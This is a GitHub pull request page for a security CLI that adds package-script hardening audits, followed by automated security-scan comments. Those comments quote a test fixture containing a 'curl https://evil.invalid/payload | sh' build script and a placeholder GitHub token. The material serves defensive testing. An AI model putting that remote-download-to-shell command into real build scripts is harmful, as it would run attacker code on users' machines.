Skip to content

Add package hardening profiles and pnpm review - #6

Merged
javier20dev25 merged 7 commits into
masterfrom
codex/security-profiles
Oct 27, 2026
Merged

javier20dev25 merged 7 commits into
masterfrom
codex/security-profiles

Conversation

@javier20dev25

Copy link
Copy Markdown
Owner

Summary\n- Add local informational hardening audit for package scripts, .npmrc, and lockfile registry/integrity signals.\n- Add independently configurable profile preferences and interactive integration controls for existing Guard and SAST hooks.\n- Add agent skill and documentation describing safety boundaries and current coverage.\n- Reuse the pnpm/Yarn Berry lockfile parser already present on master and include pnpm in audit-deps auto-detection.\n\n## Safety\n- The hardening audit does not execute project scripts, install dependencies, or upload source.\n- .npmrc changes are never made automatically; Cloud scans remain the separate pulse-consuming flow.\n\n## Validation\n- Sentinel staged SAST and classified-data pre-commit checks passed.\n- Local TypeScript build/Vitest are unavailable because this checkout has no dependencies installed; GitHub CI should run npm ci, build, and tests.

@github-actions

Copy link
Copy Markdown

🔴 Sentinel PR Audit — Blocked

Action: DO NOT MERGE — Risk band CRITICAL. The changeset is rejected.

Repository javier20dev25/sentinel-cli
PR #6 by javier20dev25
Files Analyzed 9
Total Findings 7
Risk Band CRITICAL
Decision BLOCK

🔴 CRITICAL (3)

src/cli/security_profiles.test.ts:43 — WORKFLOW_RISK

Detection: WF-005: Remote download piped to shell — curl|bash supply chain attack vector.
Risk: Unknown risk — see detection description.

scripts: { prestart: 'node scripts/health-check.js', start: 'node app.js', build: 'curl https://evil.invalid/payload | sh' },
src/cli/security_profiles.test.ts:76 — SECRET_GITHUB_TOKEN

Detection: GitHub personal access token exposed.
Risk: Exposes a GitHub personal access token. Grants access to repositories, Actions, and the GitHub API.

fs.writeFileSync(path.join(root, 'package.json'), JSON.stringify({ scripts: { start: 'TOKEN=github_pat_ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890 node app.j
src/cli/security_profiles.test.ts:78 — SECRET_GITHUB_TOKEN

Detection: GitHub personal access token exposed.
Risk: Exposes a GitHub personal access token. Grants access to repositories, Actions, and the GitHub API.

expect(JSON.stringify(report)).not.toContain('github_pat_ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890');

🟠 HIGH (1)

src/cli/security_profiles.test.ts:76 — SECRET_HARDCODED_TOKEN

Detection: Hardcoded authentication token detected.
Risk: Hardcodes an authentication token in source code. Exposed to everyone with repository access.

fs.writeFileSync(path.join(root, 'package.json'), JSON.stringify({ scripts: { start: 'TOKEN=github_pat_ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890 node app.j

🟡 MEDIUM (2)

src/cli/security_profiles.test.ts:76 — TOKEN_RISK

Detection: GitHub Fine-grained PAT — risk score: 30/100
Risk: Unknown risk — see detection description.

fs.writeFileSync(path.join(root, 'package.json'), JSON.stringify({ scripts: { start: 'TOKEN=github_pat_ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890 node app.j
src/cli/security_profiles.test.ts:78 — TOKEN_RISK

Detection: GitHub Fine-grained PAT — risk score: 30/100
Risk: Unknown risk — see detection description.

expect(JSON.stringify(report)).not.toContain('github_pat_ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890');

🔵 LOW (1)

src/cli/security_profiles.test.ts:43 — NETWORK_ACTIVITY

Detection: Outbound network communication detected.
Risk: Makes outbound HTTP/HTTPS requests. Can exfiltrate secrets, download payloads, or phone home to a C2 server.

scripts: { prestart: 'node scripts/health-check.js', start: 'node app.js', build: 'curl https://evil.invalid/payload | sh' },

Scanned by Sentinel CLI | Hash: adbcd3ca281a

@github-actions

Copy link
Copy Markdown

🔴 Sentinel PR Audit — Blocked

Action: DO NOT MERGE — Risk band CRITICAL. The changeset is rejected.

Repository javier20dev25/sentinel-cli
PR #6 by javier20dev25
Files Analyzed 9
Total Findings 2
Risk Band CRITICAL
Decision BLOCK

🔴 CRITICAL (1)

src/cli/security_profiles.test.ts:43 — WORKFLOW_RISK

Detection: WF-005: Remote download piped to shell — curl|bash supply chain attack vector.
Risk: Unknown risk — see detection description.

scripts: { prestart: 'node scripts/health-check.js', start: 'node app.js', build: 'curl https://evil.invalid/payload | sh' },

🔵 LOW (1)

src/cli/security_profiles.test.ts:43 — NETWORK_ACTIVITY

Detection: Outbound network communication detected.
Risk: Makes outbound HTTP/HTTPS requests. Can exfiltrate secrets, download payloads, or phone home to a C2 server.

scripts: { prestart: 'node scripts/health-check.js', start: 'node app.js', build: 'curl https://evil.invalid/payload | sh' },

Scanned by Sentinel CLI | Hash: 5c545c445c4f

@github-actions

Copy link
Copy Markdown

🟢 Sentinel PR Audit — Approved

Action: SAFE TO PROCEED — No security threats detected.

Repository javier20dev25/sentinel-cli
PR #6 by javier20dev25
Files Analyzed 9
Total Findings 0
Risk Band SAFE
Decision PASS

✅ No security threats detected


Scanned by Sentinel CLI | Hash: a0d90cd76879

@github-actions

Copy link
Copy Markdown

🟢 Sentinel PR Audit — Approved

Action: SAFE TO PROCEED — No security threats detected.

Repository javier20dev25/sentinel-cli
PR #6 by javier20dev25
Files Analyzed 12
Total Findings 0
Risk Band SAFE
Decision PASS

✅ No security threats detected


Scanned by Sentinel CLI | Hash: 0283e36868f7

1 similar comment
@github-actions

Copy link
Copy Markdown

🟢 Sentinel PR Audit — Approved

Action: SAFE TO PROCEED — No security threats detected.

Repository javier20dev25/sentinel-cli
PR #6 by javier20dev25
Files Analyzed 12
Total Findings 0
Risk Band SAFE
Decision PASS

✅ No security threats detected


Scanned by Sentinel CLI | Hash: 0283e36868f7

@javier20dev25
javier20dev25 merged commit d65f7f4 into master Oct 27, 2026
4 checks passed
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant